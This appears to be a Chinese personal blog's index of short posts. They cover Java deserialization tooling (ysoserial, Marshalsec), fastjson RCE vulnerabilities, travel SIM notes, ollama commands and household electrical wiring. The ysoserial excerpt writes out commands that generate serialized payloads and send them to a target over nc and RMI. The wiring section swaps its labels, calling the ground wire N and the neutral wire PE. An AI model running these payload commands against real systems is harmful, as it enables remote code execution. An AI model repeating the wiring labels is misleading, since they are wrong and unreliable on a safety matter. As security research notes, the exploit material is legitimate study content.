文章 | 个人博客

一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

项目地址： https://github.com/frohoff/ysoserial

使用：

# 使用帮助
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2

# 二进制查看
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

# 文件方式
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
# RMI方式
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Steven8/22/2026大约 2 分钟

CVE-2017-18349 Auto Type RCE

参考：

https://osv.dev/vulnerability/GHSA-xjrr-xv9m-4pw5

https://github.com/ReAbout/audit-java/blob/main/poc/CVE-2017-18349.md

https://su18.org/post/fastjson/

fastjson-1.2.24-反序列化漏洞利用链之JdbcRowSetImpl（依赖RMI/JNDI环境）

fastjson-1.2.24-反序列化漏洞利用链之TemplatesImpl（不出网漏洞利用）

Steven8/9/2026大约 3 分钟

Marshalsec

是什么？ Marshalsec 是一个用于研究和利用 Java 反序列化、JNDI 以及 RMI 安全问题的攻击与测试框架，由著名 Java 安全研究员 Moritz Bechler 开发。该工具并非传统意义上的“漏洞利用脚本”，而是一组可快速启动恶意服务端组件的集合，用于配合目标 Java 应用触发不安全的对象加载或反序列化行为。

解决的核心问题？在 Java 漏洞利用中，攻击者通常面临一个关键难点：如何让目标 JVM 在“看似正常的协议交互”中，执行攻击者的代码？ Marshalsec 的解决思路是：不直接向目标推送 payload 而是构造合法协议响应诱导 JVM 在反序列化 / JNDI 查找 / RMI 交互过程中自行加载并执行恶意对象或类。因此，Marshalsec 的本质并不是“发 payload”，而是扮演协议中的“可信服务端角色”。

官网

https://github.com/mbechler/marshalsec

参考

77burger | Marshalsec 工具详解

Steven8/9/2026大约 2 分钟

出行

手机卡

话费
流量
漫游（Roaming） —— 手机卡在离开原有的服务归属地后，依然能够自动连接到其他地区的移动网络，从而支持继续正常接打电话、收发短信和上网的功能
- 港澳台漫游
- 全球漫游

过关证明

香港、澳门
- 港澳通行证
  - todo
其他国家
- todo

Steven8/2/2026小于 1 分钟

CVE-2026-16723 Gadget-Free RCE

Fastjson 支持通过 @type 在 JSON 中携带类型的信息。例如在反序列化时，框架可以根据 @type 指定的类名决定实际创建哪个 java 对象。

Fastjson 的历史漏洞非常多，传统的 Fastjson 漏洞往往需要目标服务器的类路径（classpath）下存在特定的第三方“小工具类”（Gadget）来串联执行链。而当前漏洞在默认配置下，仅需要目标运行在标准的 Spring Boot Fat-Jar 模式下即可直接隔空触发代码执行，因此得名“免 Gadget”。

Steven8/2/2026大约 1 分钟

ollama

用 ollama 下载、推送模型：

ollama pull example # 拉取一个模型
ollama rm example   # 删除一个模型
ollama run example  # 运行模型
ollama stop example # 停止运行中的模型
ollama ps           # 列出当前加载的模型
ollama show example # 显示模型信息
ollama list         # 列出本地已有的模型
ollama cp example my-model # 复制一个模型
ollama serve        # 在不启动桌面应用的情况下，启动 Ollama 服务器
ollama create mymodel -f ./Modelfile # 创建一个模型

Steven8/2/2026大约 1 分钟

llama.cpp

模型运行框架

Steven8/2/2026大约 1 分钟

电力

地线、零线、火线

对于设备

设备：地线、零线、火线
- 地线 —— 连接设备外壳
- 零线 —— 连接电路板一侧
- 火线 —— 连接电路板另一侧
对于供电商

供电商：地线、零线、火线
- 地线 —— 社区重新接地后提供的零电位线，即N（Neutral，中位线，俗称“零线”）
- 零线 —— 社区重新接地后提供的零电位线，即PE（Protective Earthing，保护性接地，俗称“地线”）
- 火线 —— 社区从供电商获取的220V通电线，即L（Live，通电线，俗称“火线”）